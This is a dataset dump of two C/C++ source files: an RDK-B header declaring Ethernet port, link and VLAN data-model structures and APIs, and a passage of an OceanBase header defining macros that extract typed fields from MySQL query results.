hexsha stringlengths 40 40 | size int64 22 2.4M | ext stringclasses 5
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 3 260 | max_stars_repo_name stringlengths 5 109 | max_stars_repo_head_hexsha stringlengths 40 78 | max_stars_repo_licenses listlengths 1 9 | max_stars_count float64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 3 260 | max_issues_repo_name stringlengths 5 109 | max_issues_repo_head_hexsha stringlengths 40 78 | max_issues_repo_licenses listlengths 1 9 | max_issues_count float64 1 67k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 3 260 | max_forks_repo_name stringlengths 5 109 | max_forks_repo_head_hexsha stringlengths 40 78 | max_forks_repo_licenses listlengths 1 9 | max_forks_count float64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 22 2.4M | avg_line_length float64 5 169k | max_line_length int64 5 786k | alphanum_fraction float64 0.06 0.95 | matches listlengths 1 11 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
64a023915a9ff5b9301b630e7f84b81e83e2167c | 14,027 | h | C | source/TR-181/include/cosa_ethernet_apis.h | rdkcmf/rdkb-CcspPandM | 2fd5a50ab432dabb835b13007686b2e632fca85e | [
"Apache-2.0"
] | 2 | 2020-03-11T16:46:48.000Z | 2022-02-16T23:14:26.000Z | source/TR-181/include/cosa_ethernet_apis.h | lgirdk/ccsp-p-and-m | 343fd4017bc7bee00da065d1bbad73d2044f6d5c | [
"Apache-2.0"
] | null | null | null | source/TR-181/include/cosa_ethernet_apis.h | lgirdk/ccsp-p-and-m | 343fd4017bc7bee00da065d1bbad73d2044f6d5c | [
"Apache-2.0"
] | 4 | 2017-07-30T15:38:43.000Z | 2020-08-18T20:52:18.000Z | /*
* If not stated otherwise in this file or this component's Licenses.txt file the
* following copyright and licenses apply:
*
* Copyright 2015 RDK Management
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**********************************************************************
Copyright [2014] [Cisco Systems, Inc.]
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
**********************************************************************/
/**************************************************************************
module: cosa_ethernet_apis.h
For COSA Data Model Library Development
-------------------------------------------------------------------
description:
This file defines the apis for objects to support Data Model Library.
-------------------------------------------------------------------
author:
COSA XML TOOL CODE GENERATOR 1.0
-------------------------------------------------------------------
revision:
01/11/2011 initial revision.
**************************************************************************/
#ifndef _COSA_ETHERNET_API_H
#define _COSA_ETHERNET_API_H
#include "cosa_apis.h"
#include "plugin_main_apis.h"
/**********************************************************************
STRUCTURE AND CONSTANT DEFINITIONS
**********************************************************************/
#define MAXINSTANCE 128
#define ETH_INTERFACE_MAX_ASSOC_DEVICES 256
#define MAC_SZ 6 /* Mac address in Hex format */
#define MACADDR_SZ 18 /* Expanded MAC address in 00:02:... format */
typedef enum
_COSA_DML_ETH_DUPLEX_MODE
{
COSA_DML_ETH_DUPLEX_Half = 1,
COSA_DML_ETH_DUPLEX_Full,
COSA_DML_ETH_DUPLEX_Auto
}
COSA_DML_ETH_DUPLEX_MODE, *PCOSA_DML_ETH_DUPLEX_MODE;
typedef struct
_COSA_DML_ETH_STATS
{
ULONG BytesSent;
ULONG BytesReceived;
ULONG PacketsSent;
ULONG PacketsReceived;
ULONG ErrorsSent;
ULONG ErrorsReceived;
ULONG UnicastPacketsSent;
ULONG UnicastPacketsReceived;
ULONG DiscardPacketsSent;
ULONG DiscardPacketsReceived;
ULONG MulticastPacketsSent;
ULONG MulticastPacketsReceived;
ULONG BroadcastPacketsSent;
ULONG BroadcastPacketsReceived;
ULONG UnknownProtoPacketsReceived;
}
COSA_DML_ETH_STATS, *PCOSA_DML_ETH_STATS;
typedef struct
_COSA_DML_ETH_PORT_CFG
{
ULONG InstanceNumber;
char Alias[COSA_DML_IF_NAME_LENGTH];
BOOLEAN bEnabled;
LONG MaxBitRate;
COSA_DML_ETH_DUPLEX_MODE DuplexMode;
}
COSA_DML_ETH_PORT_CFG, *PCOSA_DML_ETH_PORT_CFG;
/*
* Static portion of Ethernet port info
*/
typedef struct
_COSA_DML_ETH_PORT_SINFO
{
char Name[COSA_DML_IF_NAME_LENGTH];
BOOLEAN bUpstream;
UCHAR MacAddress[6];
}
COSA_DML_ETH_PORT_SINFO, *PCOSA_DML_ETH_PORT_SINFO;
/*
* Dynamic portion of Ethernet port info
*/
typedef struct
_COSA_DML_ASSOCDEV_INFO
{
CHAR MacAddress[MACADDR_SZ];
}
COSA_DML_ASSOCDEV_INFO, *PCOSA_DML_ASSOCDEV_INFO;
typedef struct
_COSA_DML_ETH_PORT_DINFO
{
COSA_DML_IF_STATUS Status;
ULONG CurrentBitRate;
ULONG LastChange;
ULONG AssocDevicesCount;
UCHAR AssocDevices[(MAC_SZ*ETH_INTERFACE_MAX_ASSOC_DEVICES)];
}
COSA_DML_ETH_PORT_DINFO, *PCOSA_DML_ETH_PORT_DINFO;
typedef struct
_COSA_DML_ETH_PORT_FULL
{
COSA_DML_ETH_PORT_CFG Cfg;
COSA_DML_ETH_PORT_SINFO StaticInfo;
COSA_DML_ETH_PORT_DINFO DynamicInfo;
COSA_DML_ASSOCDEV_INFO AssocClient[ETH_INTERFACE_MAX_ASSOC_DEVICES];
}
COSA_DML_ETH_PORT_FULL, *PCOSA_DML_ETH_PORT_FULL;
typedef struct
_COSA_DML_ETH_LINK_CFG
{
ULONG InstanceNumber;
char Alias[COSA_DML_IF_NAME_LENGTH];
BOOLEAN bEnabled;
BOOLEAN bPriorityTagging;
COSA_DML_LINK_TYPE LinkType; /* LinkType and LinkName/LinkInstNum constitutes LowerLayers */
char LinkName[COSA_DML_IF_NAME_LENGTH]; /* This field is filled anyway */
ULONG LinkInstNum; /* Option 2, multi-LAN SB PSM design */
char LowerLayers[COSA_DML_LOWERLAYER_NAME_LENGTH]; /* Only used in middle layer */
}
COSA_DML_ETH_LINK_CFG, *PCOSA_DML_ETH_LINK_CFG;
/*
* Static portion of Ethernet Link info
*/
typedef struct
_COSA_DML_ETH_LINK_SINFO
{
char Name[COSA_DML_IF_NAME_LENGTH];
UCHAR MacAddress[6];
}
COSA_DML_ETH_LINK_SINFO, *PCOSA_DML_ETH_LINK_SINFO;
/*
* Dynamic portion of Ethernet Link info
*/
typedef struct
_COSA_DML_ETH_LINK_DINFO
{
COSA_DML_IF_STATUS Status;
ULONG LastChange;
}
COSA_DML_ETH_LINK_DINFO, *PCOSA_DML_ETH_LINK_DINFO;
typedef struct
_COSA_DML_ETH_LINK_FULL
{
COSA_DML_ETH_LINK_CFG Cfg;
COSA_DML_ETH_LINK_SINFO StaticInfo;
COSA_DML_ETH_LINK_DINFO DynamicInfo;
}
COSA_DML_ETH_LINK_FULL, *PCOSA_DML_ETH_LINK_FULL;
/*
* Configuration portion of Ethernet VLAN Termination info
*/
typedef struct
_COSA_DML_ETH_VLAN_TERMINATION_CFG
{
ULONG InstanceNumber;
char Alias[COSA_DML_IF_NAME_LENGTH];
BOOLEAN bEnabled;
char LowerLayers[COSA_DML_IF_NAME_LENGTH];
char EthLinkName[COSA_DML_IF_NAME_LENGTH]; /* associated Ethernet Link */
ULONG VLANID;
}
COSA_DML_ETH_VLAN_TERMINATION_CFG, *PCOSA_DML_ETH_VLAN_TERMINATION_CFG;
/*
* Static portion of Ethernet VLAN Termination info
*/
typedef struct
_COSA_DML_ETH_VLAN_TERMINATION_SINFO
{
char Name[COSA_DML_IF_NAME_LENGTH];
}
COSA_DML_ETH_VLAN_TERMINATION_SINFO, *PCOSA_DML_ETH_VLAN_TERMINATION_SINFO;
/*
* Dynamic portion of Ethernet VLAN Termination info
*/
typedef struct
_COSA_DML_ETH_VLAN_TERMINATION_DINFO
{
COSA_DML_IF_STATUS Status;
ULONG LastChange;
}
COSA_DML_ETH_VLAN_TERMINATION_DINFO, *PCOSA_DML_ETH_VLAN_TERMINATION_DINFO;
typedef struct
_COSA_DML_ETH_VLAN_TERMINATION_FULL
{
COSA_DML_ETH_VLAN_TERMINATION_CFG Cfg;
COSA_DML_ETH_VLAN_TERMINATION_SINFO StaticInfo;
COSA_DML_ETH_VLAN_TERMINATION_DINFO DynamicInfo;
COSA_DML_ETH_STATS LastStats;
}
COSA_DML_ETH_VLAN_TERMINATION_FULL, *PCOSA_DML_ETH_VLAN_TERMINATION_FULL;
/**********************************************************************
FUNCTION PROTOTYPES
**********************************************************************/
ANSC_STATUS
CosaDmlEthInit
(
ANSC_HANDLE hDml,
PANSC_HANDLE phContext
);
/*
* Ethernet Port
*/
ULONG
CosaDmlEthPortGetNumberOfEntries
(
ANSC_HANDLE hContext
);
ANSC_STATUS
CosaDmlEthPortGetEntry
(
ANSC_HANDLE hContext,
ULONG ulIndex,
PCOSA_DML_ETH_PORT_FULL pEntry
);
ANSC_STATUS
CosaDmlEthPortSetValues
(
ANSC_HANDLE hContext,
ULONG ulIndex,
ULONG ulInstanceNumber,
char* pAlias
);
ANSC_STATUS
CosaDmlEthPortSetCfg
(
ANSC_HANDLE hContext,
PCOSA_DML_ETH_PORT_CFG pCfg /* Identified by InstanceNumber */
);
ANSC_STATUS
CosaDmlEthPortGetCfg
(
ANSC_HANDLE hContext,
PCOSA_DML_ETH_PORT_CFG pCfg /* Identified by InstanceNumber */
);
ANSC_STATUS
CosaDmlEthPortGetDinfo
(
ANSC_HANDLE hContext,
ULONG ulInstanceNumber,
PCOSA_DML_ETH_PORT_DINFO pInfo
);
ANSC_STATUS
CosaDmlEthPortGetClientMac
(
PCOSA_DML_ETH_PORT_FULL pEthernetPortFull,
ULONG ulInstanceNumber
);
ANSC_STATUS
CosaDmlEthPortGetStats
(
ANSC_HANDLE hContext,
ULONG ulInstanceNumber,
PCOSA_DML_ETH_STATS pStats
);
/*
* Ethernet Link
*/
ULONG
CosaDmlEthLinkGetNumberOfEntries
(
ANSC_HANDLE hContext
);
ANSC_STATUS
CosaDmlEthLinkGetEntry
(
ANSC_HANDLE hContext,
ULONG ulIndex,
PCOSA_DML_ETH_LINK_FULL pEntry
);
ANSC_STATUS
CosaDmlEthLinkSetValues
(
ANSC_HANDLE hContext,
ULONG ulIndex,
ULONG ulInstanceNumber,
char* pAlias
);
ANSC_STATUS
CosaDmlEthLinkAddEntry
(
ANSC_HANDLE hContext,
PCOSA_DML_ETH_LINK_FULL pEntry
);
ANSC_STATUS
CosaDmlEthLinkDelEntry
(
ANSC_HANDLE hContext,
ULONG ulInstanceNumber
);
ANSC_STATUS
CosaDmlEthLinkSetCfg
(
ANSC_HANDLE hContext,
PCOSA_DML_ETH_LINK_CFG pCfg /* Identified by InstanceNumber */
);
ANSC_STATUS
CosaDmlEthLinkGetCfg
(
ANSC_HANDLE hContext,
PCOSA_DML_ETH_LINK_CFG pCfg /* Identified by InstanceNumber */
);
ANSC_STATUS
CosaDmlEthLinkGetDinfo
(
ANSC_HANDLE hContext,
ULONG ulInstanceNumber,
PCOSA_DML_ETH_LINK_DINFO pInfo
);
ANSC_STATUS
CosaDmlEthLinkGetStats
(
ANSC_HANDLE hContext,
ULONG ulInstanceNumber,
PCOSA_DML_ETH_STATS pStats
);
ANSC_STATUS
CosaDmlEthLinkUpdateStaticLowerLayerName
(
ANSC_HANDLE hContext,
ULONG ulInstanceNumber,
PCOSA_DML_ETH_LINK_FULL pEntry
);
/*
* Ethernet VLAN Termination
*/
ULONG
CosaDmlEthVlanTerminationGetNumberOfEntries
(
ANSC_HANDLE hContext
);
ANSC_STATUS
CosaDmlEthVlanTerminationGetEntry
(
ANSC_HANDLE hContext,
ULONG ulIndex,
PCOSA_DML_ETH_VLAN_TERMINATION_FULL pEntry
);
ANSC_STATUS
CosaDmlEthVlanTerminationSetValues
(
ANSC_HANDLE hContext,
ULONG ulIndex,
ULONG ulInstanceNumber,
char* pAlias
);
ANSC_STATUS
CosaDmlEthVlanTerminationAddEntry
(
ANSC_HANDLE hContext,
PCOSA_DML_ETH_VLAN_TERMINATION_FULL pEntry
);
ANSC_STATUS
CosaDmlEthVlanTerminationDelEntry
(
ANSC_HANDLE hContext,
ULONG ulInstanceNumber
);
ANSC_STATUS
CosaDmlEthVlanTerminationValidateCfg
(
ANSC_HANDLE hContext,
PCOSA_DML_ETH_VLAN_TERMINATION_CFG pCfg,
char* pReturnParamName,
ULONG* puLength
);
ANSC_STATUS
CosaDmlEthVlanTerminationSetCfg
(
ANSC_HANDLE hContext,
PCOSA_DML_ETH_VLAN_TERMINATION_CFG pCfg /* Identified by InstanceNumber */
);
ANSC_STATUS
CosaDmlEthVlanTerminationGetCfg
(
ANSC_HANDLE hContext,
PCOSA_DML_ETH_VLAN_TERMINATION_CFG pCfg /* Identified by InstanceNumber */
);
ANSC_STATUS
CosaDmlEthVlanTerminationGetDinfo
(
ANSC_HANDLE hContext,
ULONG ulInstanceNumber,
PCOSA_DML_ETH_VLAN_TERMINATION_DINFO pInfo
);
ANSC_STATUS
CosaDmlEthVlanTerminationGetStats
(
ANSC_HANDLE hContext,
ULONG ulInstanceNumber,
PCOSA_DML_ETH_STATS pStats
);
#ifdef _HUB4_PRODUCT_REQ_
ANSC_STATUS
CosaDmlEthLinkGetWanUpDownTime
(
char* pcWanUpDownTime,
int nTimeLength
);
#endif
#endif
| 27.450098 | 119 | 0.56156 | [
"model"
] |
64a3f1626c06e5d01ae817f16de5e6058aaaebd7 | 81,963 | h | C | code_reading/oceanbase-master/deps/oblib/src/lib/mysqlclient/ob_mysql_result.h | wangcy6/weekly_read | 3a8837ee9cd957787ee1785e4066dd623e02e13a | [
"Apache-2.0"
] | null | null | null | code_reading/oceanbase-master/deps/oblib/src/lib/mysqlclient/ob_mysql_result.h | wangcy6/weekly_read | 3a8837ee9cd957787ee1785e4066dd623e02e13a | [
"Apache-2.0"
] | null | null | null | code_reading/oceanbase-master/deps/oblib/src/lib/mysqlclient/ob_mysql_result.h | wangcy6/weekly_read | 3a8837ee9cd957787ee1785e4066dd623e02e13a | [
"Apache-2.0"
] | 1 | 2020-10-18T12:59:31.000Z | 2020-10-18T12:59:31.000Z | /**
* Copyright (c) 2021 OceanBase
* OceanBase CE is licensed under Mulan PubL v2.
* You can use this software according to the terms and conditions of the Mulan PubL v2.
* You may obtain a copy of Mulan PubL v2 at:
* http://license.coscl.org.cn/MulanPubL-2.0
* THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND,
* EITHER EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT,
* MERCHANTABILITY OR FIT FOR A PARTICULAR PURPOSE.
* See the Mulan PubL v2 for more details.
*/
#ifndef OCEANBASE_OB_MYSQL_RESULT_H_
#define OCEANBASE_OB_MYSQL_RESULT_H_
#include "lib/string/ob_string.h"
#include "lib/number/ob_number_v2.h"
#include "lib/hash/ob_hashmap.h"
#include "lib/ob_define.h"
#include "lib/rowid/ob_urowid.h"
#include "common/ob_smart_var.h"
#define COLUMN_MAP_BUCKET_NUM 107
#define EXTRACT_BOOL_FIELD_MYSQL_SKIP_RET(result, column_name, field) \
if (OB_SUCC(ret)) { \
bool bool_value = 0; \
if (OB_SUCCESS == (ret = (result).get_bool(column_name, bool_value))) { \
field = bool_value; \
} else if (OB_ERR_NULL_VALUE == ret || OB_ERR_COLUMN_NOT_FOUND == ret) { \
ret = OB_SUCCESS; \
field = false; \
} else { \
SQL_LOG(WARN, "fail to get column in row. ", K(column_name), K(ret)); \
} \
}
#define EXTRACT_BOOL_FIELD_TO_CLASS_MYSQL_SKIP_RET(result, column_name, obj) \
if (OB_SUCC(ret)) { \
bool bool_value = 0; \
if (OB_SUCCESS == (ret = (result).get_bool(#column_name, bool_value))) { \
(obj).set_##column_name(bool_value); \
} else if (OB_ERR_NULL_VALUE == ret || OB_ERR_COLUMN_NOT_FOUND == ret) { \
ret = OB_SUCCESS; \
(obj).set_##column_name(false); \
} else { \
SQL_LOG(WARN, "fail to get column in row. ", "column_name", #column_name, K(ret)); \
} \
}
#define EXTRACT_BOOL_FIELD_TO_CLASS_MYSQL(result, column_name, obj) \
if (OB_SUCC(ret)) { \
bool bool_value = 0; \
if (OB_SUCCESS == (ret = (result).get_bool(#column_name, bool_value))) { \
(obj).set_##column_name(bool_value); \
} else { \
SQL_LOG(WARN, "fail to get column in row. ", "column_name", #column_name, K(ret)); \
} \
}
#define EXTRACT_BOOL_FIELD_MYSQL(result, column_name, field) \
if (OB_SUCC(ret)) { \
bool bool_value = 0; \
if (OB_SUCCESS != (ret = (result).get_bool(column_name, bool_value))) { \
SQL_LOG(WARN, "fail to get column in row. ", K(column_name), K(ret)); \
} else { \
field = bool_value; \
} \
}
// Macro with default value
// 1. skip_null_error: indicates whether to ignore NULL values
// 2. skip_column_error: indicates whether to ignore column errors, and pass in
// ObSchemaService::g_ignore_column_retrieve_error_
// 3. default_value: indicates the default value passed in
#define EXTRACT_BOOL_FIELD_TO_CLASS_MYSQL_WITH_DEFAULT_VALUE( \
result, column_name, obj, skip_null_error, skip_column_error, default_value) \
if (OB_SUCC(ret)) { \
bool bool_value = 0; \
if (OB_SUCCESS == (ret = (result).get_bool(#column_name, bool_value))) { \
(obj).set_##column_name(bool_value); \
} else if (OB_ERR_NULL_VALUE == ret) { \
if (skip_null_error) { \
SQL_LOG(INFO, "null value, ignore", "column_name", #column_name); \
(obj).set_##column_name(default_value); \
ret = OB_SUCCESS; \
} else { \
SQL_LOG(WARN, "null value", "column_name", #column_name, K(ret)); \
} \
} else if (OB_ERR_COLUMN_NOT_FOUND == ret) { \
if (skip_column_error) { \
SQL_LOG(INFO, "column not found, ignore", "column_name", #column_name); \
(obj).set_##column_name(default_value); \
ret = OB_SUCCESS; \
} else { \
SQL_LOG(WARN, "column not found", "column_name", #column_name, K(ret)); \
} \
} else { \
SQL_LOG(WARN, "fail to get column in row. ", "column_name", #column_name, K(ret)); \
} \
}
// Macro with default value
// 1. skip_null_error: indicates whether to ignore NULL values
// 2. skip_column_error: indicates whether to ignore column errors, and pass in
// ObSchemaService::g_ignore_column_retrieve_error_
// 3. default_value: indicates the default value passed in
#define EXTRACT_INT_FIELD_MYSQL_WITH_DEFAULT_VALUE( \
result, column_name, field, type, skip_null_error, skip_column_error, default_value) \
if (OB_SUCC(ret)) { \
int64_t int_value = 0; \
if (OB_SUCCESS == (ret = (result).get_int(column_name, int_value))) { \
field = static_cast<type>(int_value); \
} else if (OB_ERR_NULL_VALUE == ret) { \
if (skip_null_error) { \
SQL_LOG(INFO, "null value, ignore", K(column_name)); \
field = static_cast<type>(default_value); \
ret = OB_SUCCESS; \
} else { \
SQL_LOG(WARN, "null value", K(column_name), K(ret)); \
} \
} else if (OB_ERR_COLUMN_NOT_FOUND == ret) { \
if (skip_column_error) { \
SQL_LOG(INFO, "column not found, ignore", K(column_name)); \
field = static_cast<type>(default_value); \
ret = OB_SUCCESS; \
} else { \
SQL_LOG(WARN, "column not found", K(column_name), K(ret)); \
} \
} else { \
SQL_LOG(WARN, "fail to get column in row. ", K(column_name), K(ret)); \
} \
}
#define EXTRACT_INT_FIELD_MYSQL_SKIP_RET(result, column_name, field, type) \
if (OB_SUCC(ret)) { \
int64_t int_value = 0; \
if (OB_SUCCESS == (ret = (result).get_int(column_name, int_value))) { \
field = static_cast<type>(int_value); \
} else if (OB_ERR_NULL_VALUE == ret || OB_ERR_COLUMN_NOT_FOUND == ret) { \
ret = OB_SUCCESS; \
field = static_cast<type>(0); \
} else { \
SQL_LOG(WARN, "fail to get column in row. ", K(column_name), K(ret)); \
} \
}
#define EXTRACT_INT_FIELD_MYSQL(result, column_name, field, type) \
if (OB_SUCC(ret)) { \
int64_t int_value = 0; \
if (OB_SUCCESS != (ret = (result).get_int(column_name, int_value))) { \
SQL_LOG(WARN, "fail to get column in row. ", "column_name", column_name, K(ret)); \
} else { \
field = static_cast<type>(int_value); \
} \
}
#define EXTRACT_UINT_FIELD_MYSQL(result, column_name, field, type) \
if (OB_SUCC(ret)) { \
uint64_t int_value = 0; \
if (OB_SUCCESS != (ret = (result).get_uint(column_name, int_value))) { \
SQL_LOG(WARN, "fail to get column in row. ", "column_name", column_name, K(ret)); \
} else { \
field = static_cast<type>(int_value); \
} \
}
#define EXTRACT_INT_FIELD_TO_CLASS_MYSQL(result, column_name, obj, type) \
if (OB_SUCC(ret)) { \
int64_t int_value = 0; \
if (OB_SUCCESS != (ret = (result).get_int(#column_name, int_value))) { \
SQL_LOG(WARN, "fail to get column in row. ", "column_name", #column_name, K(ret)); \
} else { \
(obj).set_##column_name(static_cast<type>(int_value)); \
} \
}
#define EXTRACT_UINT_FIELD_TO_CLASS_MYSQL(result, column_name, obj, type) \
if (OB_SUCC(ret)) { \
uint64_t int_value = 0; \
if (OB_SUCCESS != (ret = (result).get_uint(#column_name, int_value))) { \
SQL_LOG(WARN, "fail to get column in row. ", "column_name", #column_name, K(ret)); \
} else { \
(obj).set_##column_name(static_cast<type>(int_value)); \
} \
}
#define EXTRACT_LAST_DDL_TIME_FIELD_TO_INT_MYSQL(result, column_name, obj, type) \
if (OB_SUCC(ret)) { \
int64_t int_value = 0; \
if (OB_SUCCESS != (ret = (result).get_datetime(#column_name, int_value))) { \
SQL_LOG(WARN, "fail to get column in row. ", "column_name", #column_name, K(ret)); \
} else { \
(obj).set_##column_name(static_cast<type>(int_value)); \
} \
}
// Macro with default value
// 1. skip_null_error: indicates whether to ignore NULL values
// 2. skip_column_error: indicates whether to ignore column errors, and pass in
// ObSchemaService::g_ignore_column_retrieve_error_
// 3. default_value: indicates the default value passed in
#define EXTRACT_UINT_FIELD_TO_CLASS_MYSQL_WITH_DEFAULT_VALUE( \
result, column_name, obj, type, skip_null_error, skip_column_error, default_value) \
if (OB_SUCC(ret)) { \
uint64_t int_value = 0; \
if (OB_SUCCESS == (ret = (result).get_uint(#column_name, int_value))) { \
(obj).set_##column_name(static_cast<type>(int_value)); \
} else if (OB_ERR_NULL_VALUE == ret) { \
if (skip_null_error) { \
SQL_LOG(INFO, "null value, ignore", "column_name", #column_name); \
(obj).set_##column_name(static_cast<type>(default_value)); \
ret = OB_SUCCESS; \
} else { \
SQL_LOG(WARN, "null value", "column_name", #column_name, K(ret)); \
} \
} else if (OB_ERR_COLUMN_NOT_FOUND == ret) { \
if (skip_column_error) { \
SQL_LOG(INFO, "column not found, ignore", "column_name", #column_name); \
(obj).set_##column_name(static_cast<type>(default_value)); \
ret = OB_SUCCESS; \
} else { \
SQL_LOG(WARN, "column not found", "column_name", #column_name, K(ret)); \
} \
} else { \
SQL_LOG(WARN, "fail to get column in row. ", "column_name", #column_name, K(ret)); \
} \
}
#define EXTRACT_INT_FIELD_TO_CLASS_MYSQL_SKIP_RET(result, column_name, obj, type) \
if (OB_SUCC(ret)) { \
int64_t int_value = 0; \
if (OB_SUCCESS == (ret = (result).get_int(#column_name, int_value))) { \
(obj).set_##column_name(static_cast<type>(int_value)); \
} else if (OB_ERR_NULL_VALUE == ret || OB_ERR_COLUMN_NOT_FOUND == ret) { \
ret = OB_SUCCESS; \
(obj).set_##column_name(static_cast<type>(0)); \
} else { \
SQL_LOG(WARN, "fail to get column in row. ", "column_name", #column_name, K(ret)); \
} \
}
// Macro with default value
// 1. skip_null_error: indicates whether to ignore NULL values
// 2. skip_column_error: indicates whether to ignore column errors, and pass in
// ObSchemaService::g_ignore_column_retrieve_error_
// 3. default_value: indicates the default value passed in
#define EXTRACT_INT_FIELD_TO_CLASS_MYSQL_WITH_DEFAULT_VALUE( \
result, column_name, obj, type, skip_null_error, skip_column_error, default_value) \
if (OB_SUCC(ret)) { \
int64_t int_value = 0; \
if (OB_SUCCESS == (ret = (result).get_int(#column_name, int_value))) { \
(obj).set_##column_name(static_cast<type>(int_value)); \
} else if (OB_ERR_NULL_VALUE == ret) { \
if (skip_null_error) { \
SQL_LOG(INFO, "null value, ignore", "column_name", #column_name); \
(obj).set_##column_name(static_cast<type>(default_value)); \
ret = OB_SUCCESS; \
} else { \
SQL_LOG(WARN, "null value", "column_name", #column_name, K(ret)); \
} \
} else if (OB_ERR_COLUMN_NOT_FOUND == ret) { \
if (skip_column_error) { \
SQL_LOG(INFO, "column not found, ignore", "column_name", #column_name); \
(obj).set_##column_name(static_cast<type>(default_value)); \
ret = OB_SUCCESS; \
} else { \
SQL_LOG(WARN, "column not found", "column_name", #column_name, K(ret)); \
} \
} else { \
SQL_LOG(WARN, "fail to get column in row. ", "column_name", #column_name, K(ret)); \
} \
}
#define EXTRACT_DOUBLE_FIELD_MYSQL_SKIP_RET(result, column_name, field, type) \
if (OB_SUCC(ret)) { \
double double_value = 0; \
if (OB_SUCCESS == (ret = (result).get_double(column_name, double_value))) { \
field = static_cast<type>(double_value); \
} else if (OB_ERR_NULL_VALUE == ret || OB_ERR_COLUMN_NOT_FOUND == ret) { \
ret = OB_SUCCESS; \
field = static_cast<type>(0); \
} else { \
SQL_LOG(WARN, "fail to get column in row. ", K(column_name), K(ret)); \
} \
}
#define EXTRACT_DOUBLE_FIELD_MYSQL(result, column_name, field, type) \
if (OB_SUCC(ret)) { \
double double_value = 0; \
if (OB_SUCCESS != (ret = (result).get_double(column_name, double_value))) { \
SQL_LOG(WARN, "fail to get column in row. ", "column_name", column_name, K(ret)); \
} else { \
field = static_cast<type>(double_value); \
} \
}
#define EXTRACT_DOUBLE_FIELD_TO_CLASS_MYSQL(result, column_name, obj, type) \
if (OB_SUCC(ret)) { \
double double_value = 0; \
if (OB_SUCCESS != (ret = (result).get_double(#column_name, double_value))) { \
SQL_LOG(WARN, "fail to get column in row. ", "column_name", #column_name, K(ret)); \
} else { \
(obj).set_##column_name(static_cast<type>(double_value)); \
} \
}
// Macro with default value
// 1. skip_null_error: indicates whether to ignore NULL values
// 2. skip_column_error: indicates whether to ignore column errors, and pass in
// ObSchemaService::g_ignore_column_retrieve_error_
// 3. default_value: indicates the default value passed in
#define EXTRACT_DOUBLE_FIELD_TO_CLASS_MYSQL_WITH_DEFAULT_VALUE( \
result, column_name, obj, type, skip_null_error, skip_column_error, default_value) \
if (OB_SUCC(ret)) { \
double double_value = 0; \
if (OB_SUCCESS == (ret = (result).get_double(#column_name, double_value))) { \
(obj).set_##column_name(static_cast<type>(double_value)); \
} else if (OB_ERR_NULL_VALUE == ret) { \
if (skip_null_error) { \
SQL_LOG(INFO, "null value, ignore", "column_name", #column_name); \
(obj).set_##column_name(static_cast<type>(default_value)); \
ret = OB_SUCCESS; \
} else { \
SQL_LOG(WARN, "null value", "column_name", #column_name, K(ret)); \
} \
} else if (OB_ERR_COLUMN_NOT_FOUND == ret) { \
if (skip_column_error) { \
SQL_LOG(INFO, "column not found, ignore", "column_name", #column_name); \
(obj).set_##column_name(static_cast<type>(default_value)); \
ret = OB_SUCCESS; \
} else { \
SQL_LOG(WARN, "column not found", "column_name", #column_name, K(ret)); \
} \
} else { \
SQL_LOG(WARN, "fail to get column in row. ", "column_name", #column_name, K(ret)); \
} \
}
// TODO
// Now the ObNumber type interface is not perfect, the upper layer is ObSequenceSchema, the value of ObNumber type does
// not exceed int64_t, so the stack memory is used first ObNumber type is fully supported (by Yan Hua), which requires a
// lot of scene combing and allocator configuration, which will be replaced later
#define EXTRACT_NUMBER_FIELD_TO_CLASS_MYSQL(result, column_name, obj) \
if (OB_SUCC(ret)) { \
common::number::ObNumber number_value; \
char buffer[common::number::ObNumber::MAX_NUMBER_ALLOC_BUFF_SIZE]; \
ObDataBuffer data_buffer(buffer, sizeof(buffer)); \
if (OB_SUCCESS != (ret = (result).get_number(#column_name, number_value, data_buffer))) { \
SQL_LOG(WARN, "fail to get column in row. ", "column_name", #column_name, K(ret)); \
} else if (OB_SUCCESS != (ret = (obj).set_##column_name(number_value))) { \
SQL_LOG(WARN, "fail to set column to object. ", "column_name", #column_name, K(ret)); \
} \
}
#define EXTRACT_NUMBER_FIELD_MYSQL(result, column_name, number_value) \
if (OB_SUCC(ret)) { \
if (OB_SUCCESS != (ret = (result).get_number(#column_name, number_value))) { \
SQL_LOG(WARN, "fail to get column in row. ", "column_name", #column_name, K(ret)); \
} \
}
// TODO:
// The urowid type is not used in the internal performance stage, just define a macro, and then use the
// re-implementation code later
#define EXTRACT_UROWID_FIELD_TO_CLASS_MYSQL(result, column_name, obj) \
if (OB_SUCC(ret)) {}
#define EXTRACT_UROWID_FIELD_MYSQL(result, column_name, urowid_data) \
if (OB_SUCC(ret)) { \
if (OB_SUCCESS != (ret = (result).get_urowid(#column_name, urowid_data))) { \
SQL_LOG(WARN, "fail to get column in row. ", "column_name", #column_name, K(ret)); \
} \
}
#define EXTRACT_LOB_FIELD_TO_CLASS_MYSQL(result, column_name, obj) \
if (OB_SUCC(ret)) { \
ObLobLocator* lob_locator = NULL; \
if (OB_SUCCESS != (ret = (result).get_lob_locator(#column_name, lob_locator))) { \
